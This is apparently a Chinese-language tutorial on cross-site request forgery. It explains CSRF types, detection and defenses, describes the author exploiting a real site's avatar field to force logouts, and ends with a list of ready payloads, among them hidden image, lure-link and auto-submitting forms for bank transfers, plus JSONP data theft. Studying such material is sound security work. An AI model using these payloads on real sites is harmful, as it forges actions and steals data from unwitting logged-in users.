什么是CSRF?
CSRF(Cross-Site Request Forgery)跨站请求伪造是一种网络攻击手段,攻击者通过诱导用户在已登录的 Web 应用程序中执行非预期的操作。用户在不知情的情况下,以自己的身份向服务器发送请求,而这些请求通常是由攻击者精心构造的恶意请求。
例如:
·用户登录信任网站A,并在本地生成cookie
·用户未登出网站A,cookie未失效
·用户访问恶意网站B,该网站B的页面发起对网站A的请求
·由于用户在访问B携带了A的cookie,网站A不知情接收了恶意请求,执行了非法操作(如转账,发邮件等)
攻击原理
- 用户在某个网站(如
example.com
)登录并获得会话凭证(如cookie
)。 - 攻击者在另一个网站或通过其他手段(如邮件、恶意链接),诱使用户访问一个包含恶意请求的页面。
- 该页面会自动向
example.com
发送请求,由于用户已经登录,浏览器会自动携带example.com
的cookie
信息,服务器会认为是用户的正常操作。
如图所示:
CSRF漏洞危害
- 可以执行用户不希望的操作,如修改账户信息、发起转账、更改密码等。
- 可能导致用户的敏感信息泄露,对用户的财产和隐私造成严重威胁。
- 传播CSRF蠕虫等。
CSRF常见类型
GET型
原理:
- 利用
<img>
、<iframe>
、<script>
等 HTML 元素的src
属性发起 GET 请求。由于这些元素可以在页面加载时自动发起请求,攻击者可以将恶意请求的 URL 嵌入其中。当用户访问包含这些元素的页面时,浏览器会自动向目标网站发送请求。
- 攻击示例:
<img src="https://example.com/action?param1=value1¶m2=value2" style="display:none;" />
- 特点:实现简单,仅需将恶意 URL 嵌入到网页元素中。
适用于可以通过 GET 请求完成的操作,如查询操作、状态修改等。
只需建立一个网站,然后再构造一个恶意链接就可完成
POST型
- 原理:
- 攻击者构造一个隐藏的表单,利用 JavaScript 自动提交该表单。表单的
action
指向目标网站的恶意操作,且method
为POST
。
- 攻击者构造一个隐藏的表单,利用 JavaScript 自动提交该表单。表单的
<form action="https://example.com/action" method="POST" style="display:none;">
<input type="hidden" name="param1" value="value1">
<input type="hidden" name="param2" value="value2">
</form>
<script>
document.forms[0].submit();
</script>
- 特点:可以进行更复杂的操作,适用于需要 POST 请求完成的操作,如修改用户信息、提交数据等。
比 GET 类型 CSRF 攻击更具隐蔽性,因为 POST 请求通常被认为是修改数据的操作,而用户可能更难察觉。
JSON劫持CSRF攻击(跨域JSON劫持)
- 原理:
- 利用
<script>
元素的跨域能力,将目标网站的数据作为 JSON 数据进行获取。如果目标网站的 JSON 接口没有适当的防护,且用户在该网站已登录,攻击者可以通过构造<script>
元素来获取数据。
- 利用
<script>
function handleData(data) {
// 处理获取到的数据
}
</script>
<script src="https://example.com/api/data?callback=handleData"></script>
当目标网站的 JSON 接口支持 JSONP(JSON with Padding),并且将数据作为函数调用返回时,攻击者可以定义 handleData
函数,将用户数据作为参数接收,从而获取用户的敏感信息。
- 特点:主要针对支持 JSONP 的 JSON 接口,能够窃取用户数据,尤其是未正确保护的敏感数据。
链接类型的CSRF攻击
- 原理:
- 攻击者通过邮件、即时通讯软件等向用户发送包含恶意链接的消息,诱使用户点击链接。该链接指向目标网站的恶意操作,用户点击后将以其自身身份执行操作。
<a href="https://example.com/action?param1=value1¶m2=value2">Click me</a>
- 当用户点击此链接时,如果用户在
example.com
已登录,将执行相应操作。 - 特点:
- 依赖用户的点击操作,需要用户主动点击链接。
- 常用于钓鱼攻击,通过伪装成合法链接欺骗用户点击。
Flash CSRF攻击
- 原理:
- 利用 Flash 的跨域能力,在 Flash 对象中发起请求。Flash 对象可以通过
ActionScript
发送 HTTP 请求,如果 Flash 对象的来源未得到有效控制,攻击者可以利用 Flash 发起跨域请求。
- 利用 Flash 的跨域能力,在 Flash 对象中发起请求。Flash 对象可以通过
import flash.net.URLRequest;
import flash.net.URLLoader;
var urlRequest:URLRequest = new URLRequest("https://example.com/action");
var urlLoader:URLLoader = new URLLoader();
urlLoader.load(urlRequest);
上述 ActionScript 代码会向 https://example.com/action
发送请求。
- 特点:利用了 Flash 的跨域能力,可绕过一些浏览器的同源策略,随着 Flash 的逐渐淘汰,这种攻击方式的风险在降低,但仍可能存在于一些旧的系统中。
总结
- CSRF 攻击有多种常见类型,开发人员在开发 Web 应用时,需要针对不同的 CSRF 类型进行防范,使用诸如 CSRF 令牌、SameSite Cookie 属性、检查
Referer
等方法,以保护用户的信息安全和网站的正常操作,防止用户在不知情的情况下被利用执行恶意操作。
检测思路
1.对敏感接口抓包
2.对其他网站重发请求(包括本地)、
CSRF防御
1.HTTP请求头Referer:浏览器自动添加,用于表示当前请求是从哪个页
面跳转过来的,用于日志记录、分析流量来源、页面访问统计
2.CSRF Token:服务端生成一个随机不重复的字符,发给客户端;
客户端必须携带这个字符才能通过验证
3.进行网站二次验证
4.浏览器自身开启保护
案例分析
挖掘环境:某度的一个站点的个人信息中心,发现保存图片的参数可控,于是发现有了下列:
登录之后来到个人中心
再点击更换头像的时候抓包:
可以发现portrait 参数 就是存头像的地址,把这个包发送到repeat尝试修改:
于是我们就去*获取退出时的链接*来替换此时的头像链接:
这是退出的请求,也是我们下面必须的操作,具体利用过程是下面的操作,上面的操作是解释这一个点:
*这个漏洞的思想就是利用csrf漏洞让别人在访问该站点的某个地方的时候**突然掉线****,而有交互的地方就是在论坛、评论、留言板等地方。***
回到上述案例中,我们在该站点中发现了有评论留言的地方:
于是开始评论,然后发表的时候抓包:
然后放包后会抓取到获取我们的个人信息的资料的包,此时我们就可以进行操作了:
然后放包即可评论成功,但是头像处的链接被我换成了退出连接,当别的用户来访问时,自动就退出登录:
进行元素审查,我们可以发现此时头像位置是退出登录的链接
*此时当别的用户访问到我们的留言时,系统也是自动就退出来*。
CSRF常用payload
1、通过图片的img src属性,自动加载,发起GET请求
<img src="http://bank.com/bank/transfer.php?nameid=2002&balance=1000" width="0" height="0">
2、构建一个超链接,用户点击以后,发起GET请求
<a href="http://bank.com/transfer.php?amount=1000&to=jiangang" taget="_blank">
小姐姐在线视频聊天!!<a/>
3、构建一个自动提交的表单(隐藏),用户访问,发起POST请求
<form action="http://bank.com/transfer" method=POST>
<input type="hidden" name="account" value="xiaoming" />
<input type="hidden" name="amount" value="1000" />
<input type="hidden" name="to" value="jiangang" />
</form>
<script> document.forms[0].submit(); </script>